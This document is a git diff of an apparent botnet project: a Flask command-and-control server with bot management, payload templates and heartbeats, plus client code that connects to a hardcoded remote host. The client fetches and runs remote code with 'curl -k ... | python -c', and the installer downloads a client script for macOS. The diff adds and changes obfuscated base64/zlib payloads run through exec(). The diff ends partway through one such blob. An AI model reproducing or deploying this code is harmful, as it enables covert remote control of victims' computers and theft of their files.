diff --git a/requirements.txt b/requirements.txt
index 25bbb4b..2154ebc 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,25 +1,24 @@
-blinker==1.4
-cffi==1.9.1
-click==6.6
-cryptography==1.7.1
-enum-compat==0.0.2
-eventlet==0.20.1
-Flask==0.12
-Flask-Login==0.4.0
-Flask-Mail==0.9.1
-Flask-SocketIO==2.8.2
-Flask-SQLAlchemy==2.1
-greenlet==0.4.11
-idna==2.2
-itsdangerous==0.24
-Jinja2==2.8.1
-MarkupSafe==0.23
-pyasn1==0.1.9
-pycparser==2.17
-pyminifier==2.1
-pyOpenSSL==16.2.0
-python-engineio==1.1.0
-python-socketio==1.6.2
-six==1.10.0
-SQLAlchemy==1.1.4
-Werkzeug==0.11.15
+blinker>=1.4
+cffi>=1.9.1
+click>=6.6
+enum-compat>=0.0.2
+eventlet>=0.20.1
+Flask>=0.12
+Flask-Login>=0.4.0
+Flask-Mail>=0.9.1
+Flask-SocketIO>=2.8.2
+Flask-SQLAlchemy>=2.1
+greenlet>=0.4.11
+idna>=2.2
+itsdangerous>=0.24
+Jinja2>=2.8.1
+MarkupSafe>=0.23
+pyasn1>=0.1.9
+pycparser>=2.17
+pyminifier>=2.1
+pyOpenSSL>=16.2.0
+python-engineio>=1.1.0
+python-socketio>=1.6.2
+six>=1.10.0
+SQLAlchemy>=1.1.4
+Werkzeug>=0.11.15
diff --git a/server/botnetclasses.py b/server/botnetclasses.py
index 15d6c4d..c9ce369 100644
--- a/server/botnetclasses.py
+++ b/server/botnetclasses.py
@@ -11,10 +11,12 @@
import time
import uuid
import urllib.request
+import socket
class BotNet(Thread):
INPUT_TIMEOUT = 1
+ BOTCHECK_TIMEOUT = 10
PRINTOUT_JSON = 'printout'
ERROUT_JSON = 'errout'
STDOUT_JSON = 'stdout'
@@ -164,12 +166,18 @@ def run(self):
'''
Parse information coming from bots, loops
'''
+ last_botcheck = time.time()
+ seen_dict = {}
+ sent_heartbeat = False
while True:
with self.connlock:
bots = list(self.onlineConnections.values())
while len(bots) == 0:
self.conncon.wait()
bots = list(self.onlineConnections.values())
+ for bot in bots:
+ if bot not in seen_dict:
+ seen_dict[bot] = True
with self.app.app_context():
# Waiting for bot input, rescan for new bots every INPUT_TIMEOUT
# TODO maybe use pipe as interrupt instead of timeout?
@@ -248,10 +256,29 @@ def run(self):
for filename in fileclose:
self.filemanager.closeFile(user, filename)
+ seen_dict[bot] = True
+
except IOError as e:
# Connection was interrupted, set to offline
print(e)
self.setOffline(user)
+ except Exception as e:
+ print(e)
+
+ # Send heartbeats to all bots. If not response within a few loops then offline them.
+ if self.BOTCHECK_TIMEOUT/2 < (time.time() - last_botcheck) and not sent_heartbeat:
+ for bot in bots:
+ bot.heartbeat()
+ sent_heartbeat = True
+
+ if self.BOTCHECK_TIMEOUT < (time.time() - last_botcheck):
+ # Check all bots for connectivity
+ for bot in bots:
+ if not seen_dict[bot]:
+ self.setOffline(bot.user)
+ last_botcheck = time.time()
+ seen_dict = {b: False for b in bots if b.online}
+ sent_heartbeat = False
def getLog(self, user):
'''
@@ -459,6 +486,8 @@ class Bot:
FILE_DOWNLOAD = 'down'
LS_JSON = 'ls'
ASSIGN_ID = 'assign'
+ HEARTBEAT = 'heartbeat'
+ HEARTBEAT_TIMEOUT = 3
def __init__(self, sock, host_info, socketio, lastonline=int(time.time()), online=True):
self.sock = formatsock.FormatSocket(sock)
@@ -665,6 +694,22 @@ def requestLs(self, filename):
else:
self.opqueue.append((self.requestLs, (filename,)))
+ def heartbeat(self):
+ with self.datalock:
+ if self.online:
+ json_str = json.dumps({Bot.HEARTBEAT: True})
+ old_timeout = self.sock.gettimeout()
+ self.sock.settimeout(Bot.HEARTBEAT_TIMEOUT)
+ try:
+ self.sock.send(json_str)
+ return True
+ except socket.timeout as e:
+ return False
+ finally:
+ self.sock.settimeout(old_timeout)
+ else:
+ return False
+
class BotLog:
STDOUT = 0
diff --git a/server/botpayloadmanager.py b/server/botpayloadmanager.py
index 70049fe..5481ddc 100644
--- a/server/botpayloadmanager.py
+++ b/server/botpayloadmanager.py
@@ -37,7 +37,7 @@ def parsePayload(self, payloadpath):
payloadlines = f.readlines()
payloaddict = dict(name=payloadpath[len(self.payloadpath) + 1:-len(BotNetPayloadManager.PAYLOAD_EXT)],
description='',
- vars={})
+ vars={}, varorder=[])
try:
if payloadlines[0].strip() in BotNetPayloadManager.COMMENT_DELIMIT:
for i in range(1, len(payloadlines)):
@@ -55,6 +55,7 @@ def parsePayload(self, payloadpath):
defval = var[eqindx + 1:].strip()
var = var[:eqindx].strip()
payloaddict['vars'][var] = {'description': rhs}
+ payloaddict['varorder'].append(var)
if defval is not None:
payloaddict['vars'][var]['default_value'] = defval
else:
@@ -67,14 +68,15 @@ def parsePayload(self, payloadpath):
def getPayloadText(self, payload, args):
if payload not in self.payloaddescriptions:
return None
- vars = self.payloaddescriptions[payload]['vars']
+ vardict = self.payloaddescriptions[payload]['vars']
+ varorder = self.payloaddescriptions[payload]['varorder']
vartext = ""
- for reqvar in vars.keys():
+ for reqvar in varorder:
if reqvar in args and len(args[reqvar]) > 0:
arg = json.dumps(args[reqvar])
vartext += '{}={}\n'.format(reqvar, arg)
- elif 'default_value' in vars[reqvar]:
- arg = json.dumps(vars[reqvar]['default_value'])
+ elif 'default_value' in vardict[reqvar]:
+ arg = json.dumps(vardict[reqvar]['default_value'])
vartext += '{}={}\n'.format(reqvar, arg)
with open(self.payloadfiles[payload], "r") as f:
payloadtext = f.read()
diff --git a/server/client/.id b/server/client/.id
deleted file mode 100644
index 9d62cd4..0000000
--- a/server/client/.id
+++ /dev/null
@@ -1,2 +0,0 @@
-49f20d3b-1c68-442c-ab24-40eba0d5b06f
-Sumner
\ No newline at end of file
diff --git a/server/client/client.py b/server/client/client.py
index c097802..4c4b2b3 100644
--- a/server/client/client.py
+++ b/server/client/client.py
@@ -21,8 +21,9 @@
__version__ = "1.2.1"
-HOST = '50.159.66.236'
-#HOST = 'localhost'
+HOST = 'renmusxd.ddns.net'
+# HOST = 'potatos.local'
+
PORT = 1708
HOSTINFOFILE = '.host'
IDFILE = '.id'
@@ -44,6 +45,7 @@
FILE_FILENAME = 'fname'
CLIENT_STREAM = 'cstream'
CLIENT_CLOSE = 'cclose'
+HEARTBEAT = 'heartbeat'
PRINT_BUFFER = StringIO()
@@ -242,12 +244,14 @@ def closeFile(self, filename):
if filename not in self.fileclose:
self.fileclose.append(filename)
- def getAndClear(self, bytesize=4096):
+ def getAndClear(self, bytesize=None):
"""
Get items from data buffers up to bytesize total and clear
:param bytesize: total number of bytes (approx x2) to be written
:return: dataremaining (bool), datawritten (bool), writedict (dict)
"""
+ if bytesize is None:
+ bytesize = ByteLockBundler.PACKET_MAX_DAT
specialremaining = False
specs = {}
with self.slock:
@@ -464,6 +468,9 @@ def pollSock():
recvbytes = sock.format_recv()
recvjson = json.loads(recvbytes.decode('UTF-8'))
+ if HEARTBEAT in recvjson:
+ bytelock.writeSpecial("heartbeat", b'\x01')
+
# Special LS command
if LS_JSON in recvjson:
filedict = {}
@@ -618,10 +625,11 @@ def hasInternetConnection():
except:
return False
+
if __name__ == "__main__":
if "-install" in sys.argv:
# Legacy
- os.system('python -c "$(curl -k https://{}/static/install.py)"'.format(HOST))
+ os.system('python -c "$(curl -k https://{}/client/install.py)"'.format(HOST))
else:
hostaddr = HOST
hostport = PORT
diff --git a/server/client/install.py b/server/client/install.py
index c42caf9..a06d628 100644
--- a/server/client/install.py
+++ b/server/client/install.py
@@ -4,7 +4,7 @@
import sys
import platform
-HOST = '50.159.66.236'
+HOST = 'renmusxd.ddns.net'
PORT = 1708
HOSTINFOFILE = '.host'
IDFILE = '.id'
@@ -76,12 +76,14 @@ def install_and_run_osx(host, port):
script_path = os.path.expanduser(loc)
if not os.path.exists(script_path):
try:
- curlproc = subprocess.Popen(["curl", "-k", "-o", script_path, "https://"+HOST+'/static/minclient.py'], stdout=subprocess.PIPE)
+ curlproc = subprocess.Popen(["curl", "-k", "-o", script_path, "https://"+host+'/client/minclient.py'],
+ stdout=subprocess.PIPE)
(out, err) = curlproc.communicate()
if err is not None:
print(err)
raise Exception(err)
print("[+] Script written to:\t{}".format(script_path))
+ break
except Exception as e:
print(e)
else:
diff --git a/server/client/minclient.py b/server/client/minclient.py
index 7fa70d8..ab3b2e3 100644
--- a/server/client/minclient.py
+++ b/server/client/minclient.py
@@ -1,5 +1,5 @@
#!/usr/bin/env python3
import zlib, base64
-exec(zlib.decompress(base64.b64decode('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')))
+exec(zlib.decompress(base64.b64decode('eJzFGmtv20byu34FwzuAZK0odi/oFUY3gOPIra6ObVhK2ztXIEhpZTGhSJak7PiK3m+/mdk3RTlO7oAGiEzuzszuzM57+ZdnL7ZN/SLNihe8uPOqh3ZdFoNsU5V16zXl4gNv9ds2repywZtGjzzox1I/VXnSrsp6o4HW2zbL1Vubbbh6ft+Ypdp1zZNlVtxqtLbeLvTaadLwb15q4DpZ8DRZfNDAjV7glrdVAlts64fjgbeqy403bWsgPLn0JIh6H/CPC161CiwrdwDi+I7XTVYWccz8o9HXoyN/8MPldMaCmhebbfNxOVoui2ZU8DYYXF1ez9jR3w+/JZDJxdnl2eR8zILRumxgevJGvmbLYDCdvZlcsKBpgeVgMP7p5JwF/C7Jg8Hp2zcsWGwA5sfJ+Xl8dX15yoIPWQ5TSDaeXZ9cTM/G1ywAKRTNitfB4GQ6nXx/EU8AE1jPboHk9Id3szeXP+MaIP9leQ9j59P4H9NLGMqbYICbiRHi/PIE8AQEDU5n1+OTtyxYwRHwZCNHT88vp7D71SIvGy7H8Ofi5C0OF8kGRk/PJ+OLmaawUBTkuKSxkDR+GJ9cz16PT0Cca57UbcoTFOP1BEBfvztDJtVJhNHg+t3FxeTiezart3xwPZ7OAFm8FKBtIMly2zLQyJF4VKO8rtUoPA5Qg9lFWfDBIgdZeWcAlbRTUnRQhOnkX+P49T9n4yl7OfCux6c/xTjEvv7qq6O/DbwlX3lxnBVZG8dhw/PVEE0kAkQP30b4xvBHDcAabfrQ8oalQSDwV7Ri3PBiKUhsmluikK289qHiIb4zBqLDQQ/e8HnEi0W5FJM7sLQCQetdjJB+kuehsKNRBdYSBq+yYJjzgtCiA0mL5w0n5DrJGu6NyShA50MfADzQcjA/7pViRY/W8soaDdSPHJZqvrgjloidtmyTPF4mbcJcUeyRDXIqwMUr/1jxRcuXcZP9m9MRbpKP+CzYRzbMEtEr+yBH5hiFVABLkDYYN8d7MOaI0VlcyHBbGClqktHN4VyeE70f2Gvs2xRi3K+znHvyNASp75xlxdYB1xIiHS3J2SGtFRXPE6VTlK1BJUK7p3taFgWsBs/elIOf40uf0M3+D5imIem6crFPxUuK5Wcdyhecyhccy+efi7EHC9eWQ0d5FdCNe3hIqubtti40mZtjB2QujIecoTEbc8xiIpKO6qSqwKLfAJlzmARIcL7ns0vyTC/7PBOsiK/CORjSMMzkVBhpbtBv6RA8whXM5KIslhmqiQVxqsZCjS99QUL71Fughe+zdm0WOpa6RA5M7Sl6xuhdofRASD9HiqZhjaP0PMmacpXBu9nZ82+DYQABsax5EAkVynsIA40uWeNTDeEl30/YmLOm+4q5hzYSRya13xHt6D6R56FP6QCXFDKFnAaehUy3VVs+IlScfnUolmj5pmKK3M0xTs3N2siUnsS543nfxsCTZKsHsTWl0Eh4YF7NEodSp2G+fTA63bNVierIi7FDqeyvQfgosdfbYplzPN+rk9Mfx7P47ckv8RtIGPbG41UnIFMuIAzVPYxQ2IUFCOnBEwArSEha0JcdMBjTQEDqUyANeIIsycWKv/+hhlegRX1j5AzYzVyPUaqxsnON1aNW3OyZRRHe11nLpyQqIcX7jtOwxDiSBn6vxGITAL73ElDi3U/gSopWkkBpHe+IXaMLYWrkMYm8D1Uexj7EM5DutpLaA8+Yydr7N8q7sg1NgVKozYrO6Vk2rsduFMq8qxdkXGnO9sEPcPYRwQtVEizs336jt7+jgDdiWwKt4+YiK0yhrFxJfZGIiFZHRDSmeNTUtf87KZanORQJYnXaJ6YAmMmr5FkNelnj4TgtoCE7LmXkOhTUFSGPmm8ScCjFLTtLIBGQE9Ic+4S5wlxY4BKzilFbvqMP/KEJTWAjt4dk0edhMq39oHMqFtl59B1TvMioRAQcGPY4CYGmqDxnehfuQvuYQkiHkV02q7IKLTSVjfZyF6kwtSN4Kuo8j0yeijrXAchoqPjARVyeFCIVN3WtSShH8EkCAgnHNa7tAT+Jb9ZmO97vKYtHe2wKzUKU1EIdvU5k0BbXsDxrhC83/kSenT5fbZ5wuBpRHImJQvtcUh8fXU40WqT0fi81kTBEmIPZ2+rzGF2XAXpT3nHbZey6XlLMDsRjTgfzOSMD0Xwapd+8lJllhzFzLJaLN/hSjeD/rmclHYH/PTN9RyRWsY2wd+2+wZ4VsCYxVqeP8jt2GBnz1wASASNOywsL/HHPSrqMUWqZLSCLhh9tn0w9DKWVij9D2cuRj1JCQ8NUYzE4NCagn4Zy60y4WFOIOQwPLW6GeodWWBX8mCz2CdjCXOxwJZs1FjQdG7Y+Y+CA4cNoud1UTaipmDKA8ruR3TFSiPu4kgn0VfKQl8nyPEuP+7JkPLvcSZTVCFMPdvIJ7yyO8SmOdUJGneIqadfUBeAf+WLbJmnOFUDNf9vCIWGxKzuQJqLi/LbhNZPdWhQZvquEdFvh7js5WYrb0oGZtq7mWAkmDlsZJWmDf0P1DgU3+BQirc1bHokBAVfZmGljVpg2lNg5BD+np+E1ll0oOsXOIZKC623pvWt66iEyh6wkPnKSuUBBBkO5TKeuFRRQWihblNdqWyxUbKbwUVbSC9MegjoNoqTxVlZVi8cEgv60CTsVLhW3Mnr3MiFzar00Ikjoz13VpW6yUMdbY/YntUPsyhWJ29VprSpoRk8hGBBoILOxxPItnn4tK3NpbzI9kW9Cp4XV/Yy81z/XGFDqXsMj6RB5bXn4xvS45X86tYy40JBxwQRHwJExW1U2nrjW8GYPFVZFZW1yfhKHAMNl0GeEeDvB8GphiHcfDG8xhikU/UtKrodJTpapM22hBbIZLzPvddJMCuC84K1pKkpNVNv2kMowqRdrNPpJsSpDnRbINTBxx1JBJ+/25DOGv0rnaEty5sD3Qv9APEW+bPLobEHtH3/EerC0iUV6TmwNf4byzodZtz/DFORBUhGb7vPfirCAaJi4PRuJP6F8OzmLJxfj2VC+Ti9Pf5TXJRINWy8owZAOhs4kklMNJc6sEQ3gI5NViYlnLA1+/Xh4GKg8icEE2GNSxWoPMl9pmN0ANcN7Iw2qT41JVqP0QdiUUDTdU/bAu6i6Tl+5CI8Q+jfP5p5/gDU6jw78Xwtf+mFLleh2EEorzqvw6FDoqFgYGRjSugB3m5dpknt4lTPwdODqeBNCgSUqEQnzLGUmKIY6AA48c2XEHPsNb/Jkky4Trzl2nZtpU0RDgyzm5oYg5i1PI6haF5qclhqSM5GV+ZCJrkHDRfSiCMOCoqUDt8Gq8h4Ud83zHOMyINCtl7m/HV1RZLgxOPMhXUU6MJOrsUrFeoapuOkML+6XrCfy+v/xUYUR9JEmVFXm+RWAyD6UaCx0nY2Ia4qSvNgAYmDEOKju/jyRcosZEWyEufSgozABlgUBtYCJDO4ljHbdUQqkPgw00jNAOtaFjxXDBQuiDOzwhi2yL+YNbzD/fN6QBZe3KZ0jgkvblGxZA+LC1gwI66VEq0zfy/7KIs84VATpe3FF2yckHU/QCcoa1UqSyTVGGgCdmPDRaPlNqJG65ZB2pvpSGkOsIqFE1Jup+fry2h+SBz4KNDV55d5DCxmnMCQqeTFA6fQTcllF60bSn8v923lt1iwzkfXia6Qip5Yf/MsbXAxbBQ6omsZMA4MQTgAHeiPvy6zQ0MNVpDOSvNHLuAtRtoR5tM6nFd3IAbmDoi10GdCAQ0kCE/ANHJ39bjoQjmxvFPKcCeIaREauy6lJkMQ/+nbEhtFzZgbLSlDT+sGO/pZA5OpR1M3YH9WivPGHmrJWIP0RSI8K9Ri8J2wcvxcJI2vkT3f+0rjsL1h6OMLzSpbLmmkFdzDm6lKXACldhVAc7gM+mksRWKpo6iL7I52hf+9jaaT0RR+6GpBJjNqfzl/6gDCWq/0pu5T6NrkkfbPypH2Z0mm5zZfkomnQa0tInuwtO1vYodFJs+Cf+nxG1eB0HvrDoZ6zgIRXC1bDzR8RqPjASYkyWzqCFK9yd9nSFaAzqbPL/5fUxL4+U14gHPpG67PMjsxIUtSyIzLz3uLdxVvl22ZtiqLTt32nstgsqe7Q5AFsbqYSMEwJMmqqPGtD31NcF/y+3xVIRL0yfo7WszRd7ILTsNsMrpvHWcM4kplHWfF7YHLw4Ng8/+H42d4qAumnTH/up4I8YGjvtnuWbarMfm+hr9hQgHaVjxJwvm7bE7wp/dbMOhhzHYy7V2Aq3VHsqXeredtp2tynKm6sMC/aRZBBxVEK6zs+Nf/Ny24zW2ZAqa7xaAUpRAXvioQ+4Hu6PAi8RxhPEoT+/sUF6Gnlo7HYHx72ObOVyS2d+0HPTjpJ9N30SzU+I/BsqbIlV9zO6soaFVUl0H0dPGv7O+KlrN3ZeCdpN6s40up19s4Xn08/RIUh+TL2O5Jd2p3DUN+e9qyxuzFVGZih/72r0LOO/CbOriR6HXk3fdLJ2sr5Jqt7SyCvY0QbvlE3mLvVi9yGhJP9SNP0OBwdyU6joOOmivJCAiBa6ujsdW+qJCNI5AjTuMeATd2tUTDFewKKuK1s4xS2thfeFpTevfG5eo/dITxnawjXsN+JChUjolWk+4og1323C3AA6gP1EWhTyzdhBPXxm6S+zwoqeKkPGFxOf/GCAw26SRbYDAzxs8KDoH/ma7AQ1XgkIjsLHUAwNpg1z3kitEn2knUfktjZ31WVMVf2EIE7zEmx/Rj6t2V5C6nUotz4w28PrVsioZKmpnHa1xn2qdGG45gxP45R++LYPyZ5+c9BFdskz33qOoMJwqneIQ0s5gRrgbgO8p4vPP+v4WJb597zD966bavm+MWL3/94IRzVC0lpVD1EfiDDOWXi6AuV8HQVgBMDK9nH3jS8p7I3Pei7x7Fz5Mi0VXpS/tq3bkPyrIDgeIPupc6qkGrahgIVtVhoOozmTgdiseaLD7RRmlbFCQ3r4kRMqVJEs6Zx9TBhaFzjCMVasvq0u/G97Itkt8u4Ss0dllGMhrswUqwLp6TTOrXkXlCnTu5sUN8wIKtDxSZ20+1GcrYKLedMXwHIqEBUS3G9eBe6F43DG/d9fqB0Mxr8F52D2ds=')))
# Created by pyminifier (https://github.com/liftoff/pyminifier)
diff --git a/server/client/mininstall.py b/server/client/mininstall.py
index fcc7966..0be75d6 100644
--- a/server/client/mininstall.py
+++ b/server/client/mininstall.py
@@ -1,4 +1,4 @@
import zlib, base64
-exec(zlib.decompress(base64.b64decode('eJyVVm1z4jYQ/u5fofMXmwJ2ks6l1xucGxrIHVMuMIGbtpMwjLAFqDGSR5JDmJu7396V/J7AteVDImtXz749uxLdJVwotCEqwVJaNPvk5Uqmq0TwkFQyeSiXSYzVmoud9WkymwfO2zPv/O2v3uWld/HzpWNNJ3fz4PyXs3dGPLq9mdyMxsPA8bZcKscaDfJPGjnWbN6/m3+ZLqfjESC5Tu/D8y5GT0RIyllgn3tnNiIs5BFlm8D+Mr/pvrM/XDlt54E5yOm9GUyu539Nh+ARlQpNv/w2Hl0ju+v7/SSJie8P5gNksBFA+f7w1kZwzt4qlbz3/f1+72Gt6IV8p3WlPxU8IUIdxoDXhTNepCK7MpjZafhXCSMaqvLrQcGq90gOV2O8InHP18umUCoBYV2B7dyLmK4EFgfKIvLc83Pxa8A/uHgEyYAKEiouDj/A/prso28/gIJwNwLv+mKT7ghT8hgUFgLX914YOKgtZ8sEq+0xQ01lGQqaqJPKWtV/aa5w9S5lfTXmODrmoxIp8Y8cmiks1IgpIp7w0RpQkG2IuLo86/nF+jXM74Qk/Zg+kf9ju7/CLOJsmrXRR8HT5N+P9/wGi3q+YVz+3Sr7ZTy5ngX3jj87SEV2/jgjjj/GKQu3/Y0updM5IR5gsuNMy78fP7iwBv3h58nt8rb/GRr1OD894xh08PXdaDovHPruf04lDX06TxmRfnHCSw7GnBdBe634s+/lGAcwNrqFqMbj5c24/zFwupRJhePYsSKyRvnHEjK5FClbcvns6jHS0XOo9d5CCVBIufb9Tws0ynSBUogzNJn9abe0nIdBNcy8KbQ3